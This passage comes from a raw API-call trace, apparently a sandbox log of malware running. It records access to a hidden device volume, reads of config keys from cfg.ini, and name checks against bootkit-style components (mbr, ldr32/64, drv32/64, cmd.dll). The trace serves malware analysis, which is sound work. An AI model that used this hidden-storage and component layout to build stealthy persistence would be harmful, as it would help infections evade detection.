_Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.707] KeEnterCriticalRegion () [0129.707] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.707] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c7b000 [0129.707] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.707] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.707] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.707] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.707] IdePortDispatch () returned 0x103 [0129.707] KeWaitForMutexObject () returned 0x0 [0129.707] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.707] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.707] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.707] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.707] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.707] IdePortDispatch () returned 0x103 [0129.707] KeWaitForMutexObject () returned 0x0 [0129.707] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.707] KeLeaveCriticalRegion () [0129.707] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.708] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.708] KeEnterCriticalRegion () [0129.708] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.708] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.708] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.708] KeLeaveCriticalRegion () [0129.708] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.708] KeEnterCriticalRegion () [0129.708] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.708] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.708] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c04350, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.708] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.708] KeLeaveCriticalRegion () [0129.708] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.708] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.708] KeEnterCriticalRegion () [0129.708] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.708] ExFreePoolWithTag (P=0xfffffa8003c06850, Tag=0x0) [0129.708] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.708] KeLeaveCriticalRegion () [0129.708] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.708] ReleaseMutex (hMutex=0xf0) returned 1 [0129.708] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.715] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.715] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.715] KeEnterCriticalRegion () [0129.715] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.715] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.715] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.715] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.715] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.715] IdePortDispatch () returned 0x103 [0129.715] KeWaitForMutexObject () returned 0x0 [0129.715] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.715] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.715] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.715] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.715] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.716] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c06e00 [0129.716] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.716] KeLeaveCriticalRegion () [0129.716] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.716] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.716] KeEnterCriticalRegion () [0129.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.716] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.716] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.716] KeLeaveCriticalRegion () [0129.716] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.716] KeEnterCriticalRegion () [0129.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.716] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.716] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.716] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.716] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.716] IdePortDispatch () returned 0x103 [0129.716] KeWaitForMutexObject () returned 0x0 [0129.716] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.716] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.716] KeLeaveCriticalRegion () [0129.716] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.716] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.716] KeEnterCriticalRegion () [0129.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.716] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c7e000 [0129.716] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.716] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.716] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.716] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.716] IdePortDispatch () returned 0x103 [0129.717] KeWaitForMutexObject () returned 0x0 [0129.717] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.717] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.717] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.717] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.717] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.717] IdePortDispatch () returned 0x103 [0129.717] KeWaitForMutexObject () returned 0x0 [0129.717] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.717] KeLeaveCriticalRegion () [0129.717] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.718] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.718] KeEnterCriticalRegion () [0129.718] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.718] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.718] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.718] KeLeaveCriticalRegion () [0129.718] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.718] KeEnterCriticalRegion () [0129.718] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.718] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.718] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c066f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.718] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.718] KeLeaveCriticalRegion () [0129.718] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.718] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.718] KeEnterCriticalRegion () [0129.718] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.718] ExFreePoolWithTag (P=0xfffffa8003c06e00, Tag=0x0) [0129.718] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.718] KeLeaveCriticalRegion () [0129.718] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.718] ReleaseMutex (hMutex=0xf0) returned 1 [0129.718] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.718] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.718] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.718] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.718] KeEnterCriticalRegion () [0129.718] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.718] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.718] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.718] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.718] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.718] IdePortDispatch () returned 0x103 [0129.718] KeWaitForMutexObject () returned 0x0 [0129.719] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.719] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.719] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.719] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.719] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.719] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.719] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.719] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.719] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.719] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.719] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.719] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.719] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.719] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.719] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.719] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.719] KeLeaveCriticalRegion () [0129.719] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.719] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.719] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.719] KeEnterCriticalRegion () [0129.719] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.719] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.719] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.719] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.719] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.719] IdePortDispatch () returned 0x103 [0129.719] KeWaitForMutexObject () returned 0x0 [0129.719] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.719] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.719] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.719] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.720] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.720] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.720] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.720] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.720] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.720] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.720] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.720] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.720] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.720] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.720] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.720] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.720] KeLeaveCriticalRegion () [0129.720] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.720] ReleaseMutex (hMutex=0x100) returned 1 [0129.720] Sleep (dwMilliseconds=0x2bf20) [0129.727] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70854250, dwHighDateTime=0x1d24fa4)) [0129.727] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.727] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.727] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.727] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.727] KeEnterCriticalRegion () [0129.727] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.727] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.727] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.727] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.727] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.727] IdePortDispatch () returned 0x103 [0129.728] KeWaitForMutexObject () returned 0x0 [0129.728] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.728] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.728] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.728] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.728] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.728] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02a10 [0129.728] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.728] KeLeaveCriticalRegion () [0129.728] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.728] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.728] KeEnterCriticalRegion () [0129.728] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.728] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.728] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.728] KeLeaveCriticalRegion () [0129.728] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.729] KeEnterCriticalRegion () [0129.729] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.729] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.729] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.729] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.729] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.729] IdePortDispatch () returned 0x103 [0129.729] KeWaitForMutexObject () returned 0x0 [0129.729] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.729] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.729] KeLeaveCriticalRegion () [0129.729] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.729] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.729] KeEnterCriticalRegion () [0129.729] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.729] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c81000 [0129.729] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.729] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.729] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.729] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.729] IdePortDispatch () returned 0x103 [0129.729] KeWaitForMutexObject () returned 0x0 [0129.729] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.729] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.729] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.729] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.729] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.729] IdePortDispatch () returned 0x103 [0129.730] KeWaitForMutexObject () returned 0x0 [0129.730] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.730] KeLeaveCriticalRegion () [0129.730] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.730] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.730] KeEnterCriticalRegion () [0129.730] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.730] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.730] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.730] KeLeaveCriticalRegion () [0129.730] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.730] KeEnterCriticalRegion () [0129.730] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.730] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.730] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c066f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.730] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.731] KeLeaveCriticalRegion () [0129.731] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.731] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.731] KeEnterCriticalRegion () [0129.731] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.731] ExFreePoolWithTag (P=0xfffffa8003c02a10, Tag=0x0) [0129.731] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.731] KeLeaveCriticalRegion () [0129.731] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.731] ReleaseMutex (hMutex=0xf0) returned 1 [0129.731] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.731] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.731] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.731] KeEnterCriticalRegion () [0129.731] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.731] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.731] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, 